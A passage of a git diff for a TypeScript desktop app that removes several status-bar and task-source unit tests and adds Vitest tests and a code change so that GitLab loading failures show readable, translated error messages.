context(overrides: Partial = {}): MergeContext { } describe('folder Resource Manager rows', () => { - it('names daemon-only folders using the host-reported workspace identity', () => { - const groups = mergeSnapshotAndSessions( - null, - [ - { - id: 'folder:notes@@session', - worktreeId: workspace.id, - cwd: '/notes', - title: 'Shell', - agentOwnership: 'unknown' - } - ], - context() - ) - expect(groups).toHaveLength(1) - expect(groups[0]).toMatchObject({ - repoId: workspace.repoId, - repoName: 'Documentation', - cpu: null, - memory: null, - worktrees: [ - { - worktreeId: workspace.id, - worktreeName: 'Release notes', - hasLocalSamples: false, - isRemote: false, - sessions: [{ bound: false, agentOwnership: 'unknown' }] - } - ] - }) - }) - it('merges old snapshot labels and daemon-only rows into the same named folder without losing metrics', () => { const groups = mergeSnapshotAndSessions( { worktrees: [oldRow] } as MemorySnapshot, @@ -105,19 +73,6 @@ describe('folder Resource Manager rows', () => { expect(groups[0].worktrees[1].worktreeName).toBe('Research') }) - it('keeps old snapshot labels when the folder catalog is unavailable', () => { - const groups = mergeSnapshotAndSessions( - { worktrees: [oldRow] } as MemorySnapshot, - [], - context({ worktreeById: new Map() }) - ) - expect(groups[0].worktrees[0]).toMatchObject({ - worktreeId: workspace.id, - worktreeName: workspace.id, - memory: 2048 - }) - }) - it('excludes runtime-owned folder sessions from local snapshot and daemon inputs', () => { expect( mergeSnapshotAndSessions( diff --git a/src/renderer/src/components/status-bar/resource-usage-open-slices.test.ts b/src/renderer/src/components/status-bar/resource-usage-open-slices.test.ts deleted file mode 100644 index 21f3aee3e40..00000000000 --- a/src/renderer/src/components/status-bar/resource-usage-open-slices.test.ts +++ /dev/null @@ -1,159 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { - getResourceUsageAllWorktrees, - getResourceUsageDeferredSshSessionIdsByTabId, - getResourceUsageFolderWorkspaces, - getResourceUsageProjectGroups, - getResourceUsagePtyIdsByTabId, - getResourceUsageRepos, - getResourceUsageRuntimePaneTitlesByTabId, - getResourceUsageTerminalLayoutsByTabId, - getResourceUsageTabsByWorktree -} from './resource-usage-open-slices' -import type { AppState } from '../../store' - -const terminalTab = (id: string): AppState['tabsByWorktree'][string][number] => ({ - id, - ptyId: null, - worktreeId: 'wt-1', - title: id, - customTitle: null, - color: null, - sortOrder: 0, - createdAt: 0 -}) - -const worktree = (): AppState['worktreesByRepo'][string][number] => ({ - id: 'wt-1', - repoId: 'repo-1', - path: '/repo/wt-1', - displayName: 'wt-1', - comment: '', - branch: 'main', - head: 'abc123', - isBare: false, - isMainWorktree: false, - linkedIssue: null, - linkedPR: null, - linkedLinearIssue: null, - isArchived: false, - isUnread: false, - isPinned: false, - sortOrder: 0, - lastActivityAt: 0 -}) - -describe('resource usage open slices', () => { - it('subscribes to folder and group catalogs only while open', () => { - const folderWorkspaces: AppState['folderWorkspaces'] = [] - const projectGroups: AppState['projectGroups'] = [] - expect(getResourceUsageFolderWorkspaces({ folderWorkspaces }, true)).toBe(folderWorkspaces) - expect(getResourceUsageProjectGroups({ projectGroups }, true)).toBe(projectGroups) - expect(getResourceUsageFolderWorkspaces({ folderWorkspaces }, false)).toBe( - getResourceUsageFolderWorkspaces({ folderWorkspaces: [] }, false) - ) - expect(getResourceUsageProjectGroups({ projectGroups }, false)).toBe( - getResourceUsageProjectGroups({ projectGroups: [] }, false) - ) - }) - - it('returns stable empty slices while the popover is closed', () => { - const tabsByWorktree = { 'wt-1': [terminalTab('tab-1')] } - const ptyIdsByTabId = { 'tab-1': ['pty-1'] } - const terminalLayoutsByTabId = { - 'tab-1': { - root: { type: 'leaf' as const, leafId: 'leaf-1' }, - activeLeafId: 'leaf-1', - expandedLeafId: null - } - } - const runtimePaneTitlesByTabId = { - 'tab-1': { 'tab-1:0': 'Working' } - } as AppState['runtimePaneTitlesByTabId'] - - const closedTabs = getResourceUsageTabsByWorktree({ tabsByWorktree }, false) - const closedPtyIds = getResourceUsagePtyIdsByTabId({ ptyIdsByTabId }, false) - const closedLayouts = getResourceUsageTerminalLayoutsByTabId({ terminalLayoutsByTabId }, false) - const closedTitles = getResourceUsageRuntimePaneTitlesByTabId( - { runtimePaneTitlesByTabId }, - false - ) - - expect(closedTabs).toBe(getResourceUsageTabsByWorktree({ tabsByWorktree: {} }, false)) - expect(closedTitles).toBe( - getResourceUsageRuntimePaneTitlesByTabId({ runtimePaneTitlesByTabId: {} }, false) - ) - expect(closedPtyIds).toBe(getResourceUsagePtyIdsByTabId({ ptyIdsByTabId: {} }, false)) - expect(closedLayouts).toBe( - getResourceUsageTerminalLayoutsByTabId({ terminalLayoutsByTabId: {} }, false) - ) - const deferredSshSessionIdsByTabId = { 'tab-1': 'pty-deferred' } - const closedDeferred = getResourceUsageDeferredSshSessionIdsByTabId( - { deferredSshSessionIdsByTabId }, - false - ) - expect(closedDeferred).toBe( - getResourceUsageDeferredSshSessionIdsByTabId({ deferredSshSessionIdsByTabId: {} }, false) - ) - - expect(closedTabs).toEqual({}) - expect(closedPtyIds).toEqual({}) - expect(closedLayouts).toEqual({}) - expect(closedTitles).toEqual({}) - expect(closedDeferred).toEqual({}) - }) - - it('returns live slices while the popover is open', () => { - const tabsByWorktree = { 'wt-1': [terminalTab('tab-1')] } - const ptyIdsByTabId = { 'tab-1': ['pty-1'] } - const terminalLayoutsByTabId = { - 'tab-1': { - root: { type: 'leaf' as const, leafId: 'leaf-1' }, - activeLeafId: 'leaf-1', - expandedLeafId: null - } - } - const runtimePaneTitlesByTabId = { - 'tab-1': { 'tab-1:0': 'Working' } - } as AppState['runtimePaneTitlesByTabId'] - - expect(getResourceUsageTabsByWorktree({ tabsByWorktree }, true)).toBe(tabsByWorktree) - expect(getResourceUsagePtyIdsByTabId({ ptyIdsByTabId }, true)).toBe(ptyIdsByTabId) - expect(getResourceUsageTerminalLayoutsByTabId({ terminalLayoutsByTabId }, true)).toBe( - terminalLayoutsByTabId - ) - expect(getResourceUsageRuntimePaneTitlesByTabId({ runtimePaneTitlesByTabId }, true)).toBe( - runtimePaneTitlesByTabId - ) - const deferredSshSessionIdsByTabId = { 'tab-1': 'pty-deferred' } - expect( - getResourceUsageDeferredSshSessionIdsByTabId({ deferredSshSessionIdsByTabId }, true) - ).toBe(deferredSshSessionIdsByTabId) - }) - - it('gates repo and worktree slices only while closed', () => { - const repos = [ - { - id: 'repo-1', - path: '/repo', - displayName: 'repo', - badgeColor: 'blue', - addedAt: 1, - kind: 'git' - } - ] as AppState['repos'] - const row = worktree() - const worktreesByRepo = { - 'repo-1': [row] - } - - expect(getResourceUsageRepos({ repos }, false)).toBe( - getResourceUsageRepos({ repos: [] }, false) - ) - expect(getResourceUsageAllWorktrees({ worktreesByRepo }, false)).toBe( - getResourceUsageAllWorktrees({ worktreesByRepo: {} }, false) - ) - expect(getResourceUsageRepos({ repos }, true)).toBe(repos) - expect(getResourceUsageAllWorktrees({ worktreesByRepo }, true)).toEqual([row]) - }) -}) diff --git a/src/renderer/src/components/status-bar/resource-usage-space-scan-ready.test.ts b/src/renderer/src/components/status-bar/resource-usage-space-scan-ready.test.ts deleted file mode 100644 index c7e00d9b4f2..00000000000 --- a/src/renderer/src/components/status-bar/resource-usage-space-scan-ready.test.ts +++ /dev/null @@ -1,140 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { - resolveResourceUsageSpaceScanReady, - type ResourceUsageSpaceScanSnapshot -} from './resource-usage-space-scan-ready' - -const baseSnapshot: ResourceUsageSpaceScanSnapshot = { - ready: false, - previousScanning: false, - lastSeenScannedAt: null -} - -describe('resolveResourceUsageSpaceScanReady', () => { - it('marks Space results ready when a scan finishes away from the resource popover and Space page', () => { - expect( - resolveResourceUsageSpaceScanReady({ - snapshot: { ...baseSnapshot, previousScanning: true }, - open: false, - activeView: 'terminal', - scannedAt: 100, - scanning: false - }) - ).toEqual({ - ready: true, - previousScanning: false, - lastSeenScannedAt: 100 - }) - }) - - it('does not show the ready handoff when results finish while already visible', () => { - expect( - resolveResourceUsageSpaceScanReady({ - snapshot: { ...baseSnapshot, previousScanning: true }, - open: true, - activeView: 'terminal', - scannedAt: 100, - scanning: false - }) - ).toEqual({ - ready: false, - previousScanning: false, - lastSeenScannedAt: 100 - }) - - expect( - resolveResourceUsageSpaceScanReady({ - snapshot: { ...baseSnapshot, previousScanning: true }, - open: false, - activeView: 'space', - scannedAt: 100, - scanning: false - }).ready - ).toBe(false) - }) - - it('clears the handoff once the popover or Space page is opened', () => { - const readySnapshot = { - ready: true, - previousScanning: false, - lastSeenScannedAt: 100 - } - - expect( - resolveResourceUsageSpaceScanReady({ - snapshot: readySnapshot, - open: true, - activeView: 'terminal', - scannedAt: 100, - scanning: false - }) - ).toEqual({ - ready: false, - previousScanning: false, - lastSeenScannedAt: 100 - }) - - expect( - resolveResourceUsageSpaceScanReady({ - snapshot: readySnapshot, - open: false, - activeView: 'space', - scannedAt: 100, - scanning: false - }).ready - ).toBe(false) - }) - - it('does not announce the same scan completion twice', () => { - const result = resolveResourceUsageSpaceScanReady({ - snapshot: { - ready: false, - previousScanning: true, - lastSeenScannedAt: 100 - }, - open: false, - activeView: 'terminal', - scannedAt: 100, - scanning: false - }) - - expect(result.ready).toBe(false) - expect(result.lastSeenScannedAt).toBe(100) - }) - - it('keeps local Space scan handoffs independent of remote runtime focus', () => { - expect( - resolveResourceUsageSpaceScanReady({ - snapshot: { - ready: true, - previousScanning: true, - lastSeenScannedAt: 100 - }, - open: false, - activeView: 'terminal', - scannedAt: 200, - scanning: true - }) - ).toEqual({ - ready: true, - previousScanning: true, - lastSeenScannedAt: 100 - }) - }) - - it('tracks scanning starts without changing readiness', () => { - expect( - resolveResourceUsageSpaceScanReady({ - snapshot: baseSnapshot, - open: false, - activeView: 'terminal', - scannedAt: null, - scanning: true - }) - ).toEqual({ - ready: false, - previousScanning: true, - lastSeenScannedAt: null - }) - }) -}) diff --git a/src/renderer/src/components/status-bar/status-bar-antigravity-segment.test.tsx b/src/renderer/src/components/status-bar/status-bar-antigravity-segment.test.tsx index 9342b12d559..eb6478b6cf0 100644 --- a/src/renderer/src/components/status-bar/status-bar-antigravity-segment.test.tsx +++ b/src/renderer/src/components/status-bar/status-bar-antigravity-segment.test.tsx @@ -45,31 +45,6 @@ function antigravityLimits(overrides: Partial = {}): Provide } } -const FIVE_HOUR_MINUTES = 300 - -function groupedLimits(): ProviderRateLimits { - const pool = (group: string, windowMinutes: number, usedPercent: number) => { - const windowName = - windowMinutes === FIVE_HOUR_MINUTES ? '5h Limit Remaining' : 'Weekly Limit Remaining' - return { - name: `${group} · ${windowName}`, - group, - windowName, - ...weeklyWindow(usedPercent), - windowMinutes - } - } - return antigravityLimits({ - weekly: weeklyWindow(4), - buckets: [ - pool('Gemini Models', WEEKLY_MINUTES, 4), - pool('Gemini Models', FIVE_HOUR_MINUTES, 0), - pool('Claude and GPT models', WEEKLY_MINUTES, 0), - pool('Claude and GPT models', FIVE_HOUR_MINUTES, 0) - ] - }) -} - describe('Antigravity status-bar segment', () => { it('renders both model-group pools by name', async () => { // Tier-specific Antigravity pool names cannot use Gemini’s experimental-model allowlist. @@ -83,71 +58,6 @@ describe('Antigravity status-bar segment', () => { expect(markup).toContain('100%') }) - it('labels grouped pools by short group and window length', async () => { - const { ProviderSegment } = await import('./StatusBar') - const markup = renderToStaticMarkup( - - ) - - // Why '>Gemini<': the group's `title` still holds the full name, so a bare match is vacuous. - expect(markup).toContain('>Gemini<') - expect(markup).toContain('>Claude/GPT<') - expect(markup).toContain('5h') - expect(markup).toContain('4%') - expect(markup).not.toContain('Gemini Models ·') - expect(markup).not.toContain('Limit Remaining') - expect(markup.indexOf('5h')).toBeLessThan(markup.indexOf('wk')) - }) - - it('uses the short pool label in compact mode', async () => { - const { ProviderSegment } = await import('./StatusBar') - const markup = renderToStaticMarkup( - - ) - - expect(markup).toContain('4%') - expect(markup).toContain('Gemini wk') - expect(markup).not.toContain('Limit Remaining') - }) - - it('renders no pool label when the compact bar hides labels', async () => { - const { ProviderSegment } = await import('./StatusBar') - const markup = renderToStaticMarkup( - - ) - - expect(markup).toContain('4%') - expect(markup).not.toContain('Gemini') - }) - - it('shows the weekly window when a tier reports no session pool', async () => { - const { ProviderSegment } = await import('./StatusBar') - const markup = renderToStaticMarkup( - - ) - - expect(markup).toContain('100%') - }) - - it('still renders a reading when only the weekly window is known', async () => { - const { ProviderSegment } = await import('./StatusBar') - const markup = renderToStaticMarkup( - - ) - - expect(markup).toContain('100%') - }) - it('does not widen the allowlist for providers that rely on it', async () => { // Only whole-meter bucket providers bypass the Gemini experimental-pool allowlist. const { ProviderSegment } = await import('./StatusBar') diff --git a/src/renderer/src/components/status-bar/use-owner-usage-rate-limits.test.tsx b/src/renderer/src/components/status-bar/use-owner-usage-rate-limits.test.tsx index 7f77ccf0f61..31f63315d83 100644 --- a/src/renderer/src/components/status-bar/use-owner-usage-rate-limits.test.tsx +++ b/src/renderer/src/components/status-bar/use-owner-usage-rate-limits.test.tsx @@ -75,29 +75,6 @@ describe('useOwnerUsageRateLimits', () => { }) afterEach(() => cleanup()) - it('opens no watcher and keeps local usage when this device owns accounts', () => { - const { result } = renderHook(() => useOwnerUsageRateLimits(local)) - expect(mocks.watchers).toHaveLength(0) - expect(result.current.rateLimits).toBe(local) - expect(result.current.refreshRemote).toBeNull() - expect(result.current.remoteOwner).toBeNull() - }) - - it("reads usage from the remote owner's accounts stream", () => { - mocks.owner = { kind: 'environment', environmentId: 'mini' } - const { result } = renderHook(() => useOwnerUsageRateLimits(local)) - expect(mocks.watchers[0].target).toEqual({ kind: 'environment', environmentId: 'mini' }) - expect(result.current.remoteOwner).toEqual({ environmentId: 'mini', label: 'Mac Mini' }) - expect(result.current.rateLimits.claude?.session).toBeNull() - - act(() => - mocks.watchers[0].handlers.onSnapshot( - snapshot(createEmptyRateLimitState({ claude: provider('claude', 64) })) - ) - ) - expect(result.current.rateLimits.claude?.session?.usedPercent).toBe(64) - }) - it('reports an older host without published usage as unavailable, not loading', () => { mocks.owner = { kind: 'environment', environmentId: 'mini' } const { result } = renderHook(() => useOwnerUsageRateLimits(local)) @@ -107,19 +84,6 @@ describe('useOwnerUsageRateLimits', () => { expect(result.current.rateLimits.claude?.error).toContain('Mac Mini does not report usage') }) - it('turns loss of contact into an unverifiable verdict that keeps known bars', () => { - mocks.owner = { kind: 'environment', environmentId: 'mini' } - const { result } = renderHook(() => useOwnerUsageRateLimits(local)) - act(() => - mocks.watchers[0].handlers.onSnapshot( - snapshot(createEmptyRateLimitState({ codex: provider('codex', 30) })) - ) - ) - act(() => mocks.watchers[0].handlers.onError(new Error('closed'))) - expect(result.current.rateLimits.codex?.session).toBeNull() - expect(result.current.rateLimits.codex?.error).toContain('cannot reach Mac Mini') - }) - it('never shows server A numbers under server B', () => { mocks.owner = { kind: 'environment', environmentId: 'mini' } const { result, rerender } = renderHook(() => useOwnerUsageRateLimits(local)) diff --git a/src/renderer/src/components/status-bar/workspace-space-breakdown-list.test.tsx b/src/renderer/src/components/status-bar/workspace-space-breakdown-list.test.tsx index 2ba6abfca22..7146361a8ae 100644 --- a/src/renderer/src/components/status-bar/workspace-space-breakdown-list.test.tsx +++ b/src/renderer/src/components/status-bar/workspace-space-breakdown-list.test.tsx @@ -93,66 +93,4 @@ describe('WorkspaceSpaceBreakdownList', () => { fireEvent.click(screen.getByText('Show more folder details')) expect(screen.getAllByText('fifth')).toHaveLength(1) }) - - it('renders one row per counted top-level item, including the omitted aggregate', () => { - const { container } = render( - - ) - - const names = renderedRowNames(container) - expect(names).toEqual(['node_modules', 'src', 'Other top-level items (7)']) - // The header count labels this list: the 7 omitted items are one aggregate row. - expect(container.textContent).toContain('9 top-level items') - expect(names.length - 1 + 7).toBe(9) - }) - - it('scales the size bars against the omitted aggregate when it is the largest item', () => { - const { container } = render( - - ) - - const widths = Array.from(container.querySelectorAll('div[style]')).map( - (node) => node.style.width - ) - expect(widths).toEqual(['25%', '100%']) - }) - - it('omits the aggregate row when nothing was omitted', () => { - const { container } = render( - - ) - - expect(renderedRowNames(container)).toEqual(['src']) - expect(container.textContent).toContain('1 top-level items') - }) - - it('explains how to inspect folders when a saved scan omits every item', () => { - const { container } = render( - - ) - - expect(container.textContent).not.toContain('No files found.') - expect(renderedRowNames(container)).toEqual([]) - expect(container.textContent).toContain('Refresh to inspect this workspace.') - }) }) diff --git a/src/renderer/src/components/tab-bar/EditorFileTab.test.tsx b/src/renderer/src/components/tab-bar/EditorFileTab.test.tsx index 5c1319f4a09..6f1e8184cf1 100644 --- a/src/renderer/src/components/tab-bar/EditorFileTab.test.tsx +++ b/src/renderer/src/components/tab-bar/EditorFileTab.test.tsx @@ -549,7 +549,9 @@ describe('EditorFileTab icon', () => { const theme: ActivePluginIconTheme = { icons: { file: 3 }, fileNames: {}, - fileExtensions: { md: 7 } + fileExtensions: { md: 7 }, + folderNames: {}, + folderNamesExpanded: {} } beforeEach(() => { diff --git a/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.test.tsx b/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.test.tsx index 5cab64d2f27..6d4891f0d4a 100644 --- a/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.test.tsx +++ b/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.test.tsx @@ -1,9 +1,15 @@ // @vitest-environment happy-dom -import { cleanup, renderHook, waitFor } from '@testing-library/react' +import { cleanup, render, renderHook, screen, waitFor } from '@testing-library/react' +import { useState } from 'react' +import type { TaskPageComposerActionsModel } from '../use-task-page-composer-actions' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import type { Repo } from '../../../../../shared/repo-types' +import type { ExecutionHostId } from '../../../../../shared/execution-host' import type { GitLabWorkItem } from '../../../../../shared/gitlab-types' +import { i18n } from '@/i18n/i18n' + +vi.mock('@/store', () => ({ useAppStore: { getState: vi.fn() } })) const rpc = vi.hoisted(() => ({ call: vi.fn() })) @@ -17,6 +23,8 @@ import { useTaskPageGitLabLoading } from './use-task-page-gitlab-loading' +import { TaskPageGitLabItemList } from './ItemList' + const serverRepo: Repo = { id: 'server-repo', path: '/srv/app', @@ -36,6 +44,143 @@ beforeEach(() => { afterEach(cleanup) describe('useTaskPageGitLabLoading', () => { + function GitLabListHarness({ + view, + executionHostId = 'local' + }: { + view: 'issues' | 'mrs' + executionHostId?: ExecutionHostId + }) { + const [gitlabItems, setGitlabItems] = useState([]) + const [gitlabError, setGitlabError] = useState(null) + const [gitlabLoading, setGitlabLoading] = useState(false) + const repo: Repo = { ...serverRepo, executionHostId } + useTaskPageGitLabLoading({ + selectedRepos: [repo], + selectedReposKey: executionHostId, + primaryRepo: repo, + taskSource: 'gitlab', + setGitlabItems, + setGitlabLoading, + setGitlabError, + gitlabRefreshNonce: 0, + gitlabView: view, + setGitlabTodos: vi.fn(), + setGitlabTodosLoading: vi.fn(), + activeGitlabFilter: 'opened' + }) + const model = { + gitlabItems, + gitlabError, + gitlabLoading, + gitlabEmptyState: { title: 'No items', description: '' }, + displayedGitLabItems: gitlabItems, + openGitLabDetailPage: vi.fn(), + handleUseGitLabItem: vi.fn() + } satisfies Partial + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: ItemList reads only the fields supplied above. + return + } + + it.each(['issues', 'mrs'] as const)( + 'shows a plain message for a wrapped %s rejection', + async (view) => { + const channel = view === 'issues' ? 'gitlab:listIssues' : 'gitlab:listMRs' + const rejectList = vi + .fn() + .mockRejectedValue( + new Error( + `Error invoking remote method '${channel}': Error: Access denied: unknown repository path` + ) + ) + Object.assign(window.api.gl, { listIssues: rejectList, listMRs: rejectList }) + const { container } = render() + + expect(await screen.findByText('Access denied: unknown repository path')).toBeTruthy() + expect(container.textContent).not.toContain('Error invoking remote method') + } + ) + + it.each([new Error("Error invoking remote method 'gitlab:listIssues': Error: "), null, {}])( + 'shows a readable fallback for rejection %s', + async (reason) => { + glListIssues.mockRejectedValue(reason) + render() + + expect( + await screen.findByText('Could not load GitLab work items. Refresh to try again.') + ).toBeTruthy() + } + ) + + it.each([ + { + failure: 'unknown owner with multiline recovery', + executionHostId: 'runtime:unresolved-owner', + expected: + 'No se conoce el equipo de este repositorio.\nVuelve a conectarlo e inténtalo de nuevo.' + }, + { + failure: 'unreadable rejection with translated fallback', + executionHostId: 'local', + expected: 'No se pudieron cargar los elementos de GitLab. Actualiza para volver a intentarlo.' + } + ] as const)('renders $failure', async ({ executionHostId, expected }) => { + const language = i18n.language + const resources = i18n.getResourceBundle('es', 'translation') + try { + i18n.removeResourceBundle('es', 'translation') + i18n.addResourceBundle('es', 'translation', { + auto: { + runtime: { + forgeCredentialTarget: { + unknownHost: + 'No se conoce el equipo de este repositorio.\nVuelve a conectarlo e inténtalo de nuevo.' + } + }, + components: { + TaskPage: { + gitlabLoadFailed: + 'No se pudieron cargar los elementos de GitLab. Actualiza para volver a intentarlo.' + } + } + } + }) + await i18n.changeLanguage('es') + glListIssues.mockRejectedValue(null) + render() + + const banner = await screen.findByText(expected.replace(/\s+/g, ' ')) + expect(banner.textContent).toBe(expected) + if (executionHostId === 'runtime:unresolved-owner') { + expect(glListIssues).not.toHaveBeenCalled() + expect(rpc.call).not.toHaveBeenCalled() + } + } finally { + cleanup() + i18n.removeResourceBundle('es', 'translation') + if (resources) { + i18n.addResourceBundle('es', 'translation', resources) + } + await i18n.changeLanguage(language) + } + }) + + it('suppresses a rejected project error when another project returns rows', async () => { + rpc.call.mockRejectedValueOnce( + new Error( + "Error invoking remote method 'gitlab:listIssues': Error: Access denied: unknown repository path" + ) + ) + const setGitlabItems = vi.fn() + const setGitlabError = vi.fn() + renderIssuesHook(manyServerRepos(2), setGitlabItems, setGitlabError) + + await waitFor(() => expect(setGitlabItems).toHaveBeenCalled()) + expect(setGitlabItems.mock.lastCall?.[0]).toHaveLength(1) + expect(setGitlabError).toHaveBeenCalledExactlyOnceWith(null) + }) + it('lists a server-owned repo on its server (#14603)', async () => { const setGitlabItems = vi.fn() const setGitlabError = vi.fn() @@ -143,7 +288,7 @@ describe('useTaskPageGitLabLoading', () => { })) } - function renderIssuesHook(repos: Repo[], setGitlabItems = vi.fn()) { + function renderIssuesHook(repos: Repo[], setGitlabItems = vi.fn(), setGitlabError = vi.fn()) { return renderHook(() => useTaskPageGitLabLoading({ selectedRepos: repos, @@ -152,7 +297,7 @@ describe('useTaskPageGitLabLoading', () => { taskSource: 'gitlab', setGitlabItems, setGitlabLoading: vi.fn(), - setGitlabError: vi.fn(), + setGitlabError, gitlabRefreshNonce: 0, gitlabView: 'issues', setGitlabTodos: vi.fn(), diff --git a/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.ts b/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.ts index 1c2fbc0f331..03d4f679a3a 100644 --- a/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.ts +++ b/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.ts @@ -1,5 +1,7 @@ import type { TaskPageProviderMetadataModel } from '../use-task-page-provider-metadata' import { useEffect } from 'react' +import { translate } from '@/i18n/i18n' +import { readIpcErrorDetail } from '@/lib/ipc-error' import { gitLabApiFor } from '@/runtime/gitlab-owner-api' import { mapSettledWithConcurrency } from '../../../../../shared/map-with-concurrency' import type { Repo } from '../../../../../shared/repo-types' @@ -150,7 +152,13 @@ export function useTaskPageGitLabLoading(model const errs: string[] = [] for (const r of results) { if (r.status !== 'fulfilled') { - errs.push(r.reason instanceof Error ? r.reason.message : String(r.reason)) + errs.push( + readIpcErrorDetail(r.reason) ?? + translate( + 'auto.components.TaskPage.gitlabLoadFailed', + 'Could not load GitLab work items. Refresh to try again.' + ) + ) continue } // Why the host: a twin's two rows share the id, so only the stamp names the row that answered. diff --git a/src/renderer/src/components/task-page-jira-sorting.test.ts b/src/renderer/src/components/task-page/jira/task-page-jira-sorting.test.ts similarity index 98% rename from src/renderer/src/components/task-page-jira-sorting.test.ts rename to src/renderer/src/components/task-page/jira/task-page-jira-sorting.test.ts index 046a26a9bd5..ec604d73ff9 100644 --- a/src/renderer/src/components/task-page-jira-sorting.test.ts +++ b/src/renderer/src/components/task-page/jira/task-page-jira-sorting.test.ts @@ -1,6 +1,6 @@ import { describe, expect, it } from 'vitest' -import type { JiraIssue, JiraPriority } from '../../../shared/jira/jira-types' -import { getJiraPriorityWeight, sortJiraIssues } from './jira-issue-sorter' +import type { JiraIssue, JiraPriority } from '../../../../../shared/jira/jira-types' +import { getJiraPriorityWeight, sortJiraIssues } from '../../jira-issue-sorter' describe('TaskPage Jira sorting functionality', () => { function jiraIssue( diff --git a/src/renderer/src/components/task-page/task-page-task-source-host-availability.test.ts b/src/renderer/src/components/task-page/task-page-task-source-host-availability.test.ts deleted file mode 100644 index 19f8199cb61..00000000000 --- a/src/renderer/src/components/task-page/task-page-task-source-host-availability.test.ts +++ /dev/null @@ -1,132 +0,0 @@ -import { describe, expect, it, afterEach, vi } from 'vitest' -import { TASK_SOURCE_CONTEXT_RUNTIME_CAPABILITY } from '../../../../shared/protocol-version' -import type { ExecutionHostRegistryEntry } from '../../../../shared/execution-host-registry' -import { - getGitHubProjectSourceSummary, - getTaskSourceHostAvailabilityForHost -} from './task-page-source-context' - -function hostEntry( - overrides: Partial = {} -): ExecutionHostRegistryEntry { - return { - id: 'local', - kind: 'local', - label: 'This Mac', - detail: 'local', - health: 'local', - ...overrides - } -} - -describe('getTaskSourceHostAvailabilityForHost', () => { - it('returns null when there is no host', () => { - expect(getTaskSourceHostAvailabilityForHost(null, 'local')).toBeNull() - }) - - it('reports a runtime still checking capabilities', () => { - const host = hostEntry({ - id: 'runtime:env-1', - kind: 'runtime', - label: 'Env', - health: 'available' - }) - expect(getTaskSourceHostAvailabilityForHost(host, 'runtime:env-1')).toEqual({ - hostId: 'runtime:env-1', - reason: 'checking-task-source-capability' - }) - }) - - it('reports a runtime missing the task-source capability', () => { - const host = hostEntry({ - id: 'runtime:env-1', - kind: 'runtime', - label: 'Env', - health: 'available', - capabilities: [] - }) - expect(getTaskSourceHostAvailabilityForHost(host, 'runtime:env-1')).toEqual({ - hostId: 'runtime:env-1', - reason: 'missing-task-source-capability' - }) - }) - - it('returns null for a healthy runtime that declares the capability', () => { - const host = hostEntry({ - id: 'runtime:env-1', - kind: 'runtime', - label: 'Env', - health: 'available', - capabilities: [TASK_SOURCE_CONTEXT_RUNTIME_CAPABILITY] - }) - expect(getTaskSourceHostAvailabilityForHost(host, 'runtime:env-1')).toBeNull() - }) - - it('returns null for a healthy local host', () => { - expect(getTaskSourceHostAvailabilityForHost(hostEntry(), 'local')).toBeNull() - }) - - it('passes through unhealthy host status', () => { - const host = hostEntry({ - id: 'ssh:box', - kind: 'ssh', - label: 'Box', - health: 'disconnected', - connectionStatus: 'disconnected', - capabilities: [TASK_SOURCE_CONTEXT_RUNTIME_CAPABILITY] - }) - expect(getTaskSourceHostAvailabilityForHost(host, 'ssh:box')).toEqual({ - hostId: 'ssh:box', - health: 'disconnected', - status: 'disconnected' - }) - }) -}) - -describe('getGitHubProjectSourceSummary', () => { - const runtimeHost = (overrides: Partial) => - hostEntry({ id: 'runtime:env-1', kind: 'runtime', label: 'Build server', ...overrides }) - - it('names the board host, which a capability check alone never marks unavailable', () => { - const summary = getGitHubProjectSourceSummary({ - providerLabel: 'GitHub', - hostId: 'runtime:env-1', - host: runtimeHost({ health: 'available' }), - hostLabelById: new Map([['runtime:env-1', 'Build server']]) - }) - expect(summary.label).toBe('GitHub · Build server · Current account') - }) - - it('says when the board host is unreachable', () => { - const summary = getGitHubProjectSourceSummary({ - providerLabel: 'GitHub', - hostId: 'runtime:env-1', - host: runtimeHost({ - health: 'disconnected', - capabilities: [TASK_SOURCE_CONTEXT_RUNTIME_CAPABILITY] - }), - hostLabelById: new Map([['runtime:env-1', 'Build server']]) - }) - expect(summary.label).toContain('Build server · ') - expect(summary.label).not.toBe('GitHub · Build server · Current account') - }) -}) - -const { rejectAppStoreAccess } = vi.hoisted(() => ({ - rejectAppStoreAccess: vi.fn(() => { - throw new Error('Pure helper tests must not access the app store') - }) -})) - -vi.mock('@/store', () => ({ - useAppStore: Object.assign(rejectAppStoreAccess, { - getState: rejectAppStoreAccess, - getInitialState: rejectAppStoreAccess, - setState: rejectAppStoreAccess, - subscribe: rejectAppStoreAccess - }) -})) - -afterEach(() => { - expect(rejectAppStoreAccess).not.toHaveBeenCalled() -}) diff --git a/src/renderer/src/components/task-source-provider-availability.test.ts b/src/renderer/src/components/task-source-provider-availability.test.ts index 8fd08bbf8c2..d79a070f265 100644 --- a/src/renderer/src/components/task-source-provider-availability.test.ts +++ b/src/renderer/src/components/task-source-provider-availability.test.ts @@ -37,20 +37,6 @@ describe('task source provider availability', () => { ]) }) - it('marks desktop-owned GitLab sources unavailable when glab is missing', () => { - expect( - getRepoBackedProviderAvailability({ - provider: 'gitlab', - contexts: [source('local')], - preflightReady: true, - preflightStatus: { - ...readyPreflight, - glab: { installed: false, authenticated: false } - } - }) - ).toEqual([{ hostId: 'local', reason: 'unavailable-source-tool' }]) - }) - it('marks GitLab unsupported when a host preflight payload predates GitLab support', () => { const { glab: _glab, ...preGitLabPreflight } = readyPreflight @@ -142,18 +128,4 @@ describe('task source provider availability', () => { }) ).toEqual([{ hostId: 'runtime:server', reason: 'unsupported-provider' }]) }) - - it('waits for preflight before reporting provider availability', () => { - expect( - getRepoBackedProviderAvailability({ - provider: 'github', - contexts: [source('local')], - preflightReady: false, - preflightStatus: { - ...readyPreflight, - gh: { installed: false, authenticated: false } - } - }) - ).toEqual([]) - }) }) diff --git a/src/renderer/src/components/terminal-pane/fish-color-scheme-child-stdin.node-pty.test.ts 